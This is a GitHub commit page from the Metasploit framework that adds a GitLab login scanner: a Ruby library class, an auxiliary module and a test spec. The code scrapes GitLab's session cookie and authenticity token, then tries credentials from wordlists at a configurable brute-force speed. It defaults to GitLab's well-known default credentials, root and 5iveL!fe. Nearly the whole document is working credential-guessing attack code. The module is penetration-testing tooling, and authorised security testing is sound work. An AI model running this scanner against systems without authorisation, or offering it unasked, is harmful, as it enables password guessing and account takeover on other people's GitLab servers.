Skip to content

Commit b19f766

Browse files
committed
Land rapid7#4942, Gitlab Login Scanner
2 parents a2ce14a + 69453c1 commit b19f766

File tree

3 files changed

+198
-0
lines changed

3 files changed

+198
-0
lines changed
Lines changed: 96 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,96 @@
1+
require 'metasploit/framework/login_scanner/http'
2+
3+
module Metasploit
4+
module Framework
5+
module LoginScanner
6+
# GitLab login scanner
7+
class GitLab < HTTP
8+
# Inherit LIKELY_PORTS,LIKELY_SERVICE_NAMES, and REALM_KEY from HTTP
9+
CAN_GET_SESSION = false
10+
DEFAULT_PORT = 80
11+
PRIVATE_TYPES = [ :password ]
12+
13+
# (see Base#set_sane_defaults)
14+
def set_sane_defaults
15+
self.uri = '/users/sign_in' if uri.nil?
16+
self.method = 'POST' if method.nil?
17+
18+
super
19+
end
20+
21+
def attempt_login(credential)
22+
result_opts = {
23+
credential: credential,
24+
host: host,
25+
port: port,
26+
protocol: 'tcp',
27+
service_name: ssl ? 'https' : 'http'
28+
}
29+
begin
30+
cli = Rex::Proto::Http::Client.new(host,
31+
port,
32+
{
33+
'Msf' => framework,
34+
'MsfExploit' => framework_module
35+
},
36+
ssl,
37+
ssl_version,
38+
proxies)
39+
configure_http_client(cli)
40+
cli.connect
41+
42+
# Get a valid session cookie and authenticity_token for the next step
43+
req = cli.request_cgi(
44+
'method' => 'GET',
45+
'cookie' => 'request_method=GET',
46+
'uri' => uri
47+
)
48+
49+
res = cli.send_recv(req)
50+
51+
if res.body.include? 'user[email]'
52+
user_field = 'user[email]'
53+
elsif res.body.include? 'user[login]'
54+
user_field = 'user[login]'
55+
else
56+
fail RuntimeError, 'Not a valid GitLab login page'
57+
end
58+
59+
local_session_cookie = res.get_cookies.scan(/(_gitlab_session=[A-Za-z0-9%-]+)/).flatten[0]
60+
auth_token = res.body.scan(/<input name="authenticity_token" type="hidden" value="(.*?)"/).flatten[0]
61+
62+
fail RuntimeError, 'Unable to get Session Cookie' unless local_session_cookie
63+
fail RuntimeError, 'Unable to get Authentication Token' unless auth_token
64+
65+
# Perform the actual login
66+
req = cli.request_cgi(
67+
'method' => 'POST',
68+
'cookie' => local_session_cookie,
69+
'uri' => uri,
70+
'vars_post' =>
71+
{
72+
'utf8' => "\xE2\x9C\x93",
73+
'authenticity_token' => auth_token,
74+
"#{user_field}" => credential.public,
75+
'user[password]' => credential.private,
76+
'user[remember_me]' => 0
77+
}
78+
)
79+
80+
res = cli.send_recv(req)
81+
if res && res.code == 302
82+
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.headers)
83+
else
84+
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res)
85+
end
86+
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error => e
87+
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
88+
ensure
89+
cli.close
90+
end
91+
Result.new(result_opts)
92+
end
93+
end
94+
end
95+
end
96+
end
Lines changed: 92 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,92 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'metasploit/framework/credential_collection'
8+
require 'metasploit/framework/login_scanner/gitlab'
9+
10+
class Metasploit3 < Msf::Auxiliary
11+
include Msf::Auxiliary::Scanner
12+
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Auxiliary::Report
14+
include Msf::Auxiliary::AuthBrute
15+
16+
def initialize
17+
super(
18+
'Name' => 'GitLab Login Utility',
19+
'Description' => 'This module attempts to login to a GitLab instance using a specific user/pass.',
20+
'Author' => [ 'Ben Campbell' ],
21+
'License' => MSF_LICENSE
22+
)
23+
24+
register_options(
25+
[
26+
Opt::RPORT(80),
27+
OptString.new('USERNAME', [ true, 'The username to test', 'root' ]),
28+
OptString.new('PASSWORD', [ true, 'The password to test', '5iveL!fe' ]),
29+
OptString.new('TARGETURI', [true, 'The path to GitLab', '/'])
30+
], self.class)
31+
32+
register_autofilter_ports([ 80, 443 ])
33+
34+
deregister_options('RHOST')
35+
end
36+
37+
def run_host(ip)
38+
uri = normalize_uri(target_uri.path.to_s, 'users', 'sign_in')
39+
res = send_request_cgi(
40+
'method' => 'GET',
41+
'cookie' => 'request_method=GET',
42+
'uri' => uri
43+
)
44+
45+
if res && res.body && res.body.include?('user[email]')
46+
vprint_status("#{peer} - GitLab v5 login page")
47+
elsif res && res.body && res.body.include?('user[login]')
48+
vprint_status("#{peer} - GitLab v7 login page")
49+
else
50+
vprint_error('Not a valid GitLab login page')
51+
return
52+
end
53+
54+
cred_collection = Metasploit::Framework::CredentialCollection.new(
55+
blank_passwords: datastore['BLANK_PASSWORDS'],
56+
pass_file: datastore['PASS_FILE'],
57+
password: datastore['PASSWORD'],
58+
user_file: datastore['USER_FILE'],
59+
userpass_file: datastore['USERPASS_FILE'],
60+
username: datastore['USERNAME'],
61+
user_as_pass: datastore['USER_AS_PASS']
62+
)
63+
64+
scanner = Metasploit::Framework::LoginScanner::GitLab.new(
65+
configure_http_login_scanner(
66+
cred_details: cred_collection,
67+
stop_on_success: datastore['STOP_ON_SUCCESS'],
68+
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
69+
uri: uri,
70+
connection_timeout: 10
71+
)
72+
)
73+
74+
scanner.scan! do |result|
75+
credential_data = result.to_h
76+
credential_data.merge!(
77+
module_fullname: fullname,
78+
workspace_id: myworkspace_id
79+
)
80+
if result.success?
81+
credential_core = create_credential(credential_data)
82+
credential_data[:core] = credential_core
83+
create_credential_login(credential_data)
84+
85+
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
86+
else
87+
invalidate_login(credential_data)
88+
vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status})"
89+
end
90+
end
91+
end
92+
end
Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
require 'spec_helper'
2+
require 'metasploit/framework/login_scanner/gitlab'
3+
4+
describe Metasploit::Framework::LoginScanner::GitLab do
5+
6+
it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false
7+
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
8+
it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP'
9+
10+
end

0 commit comments

Comments
 (0)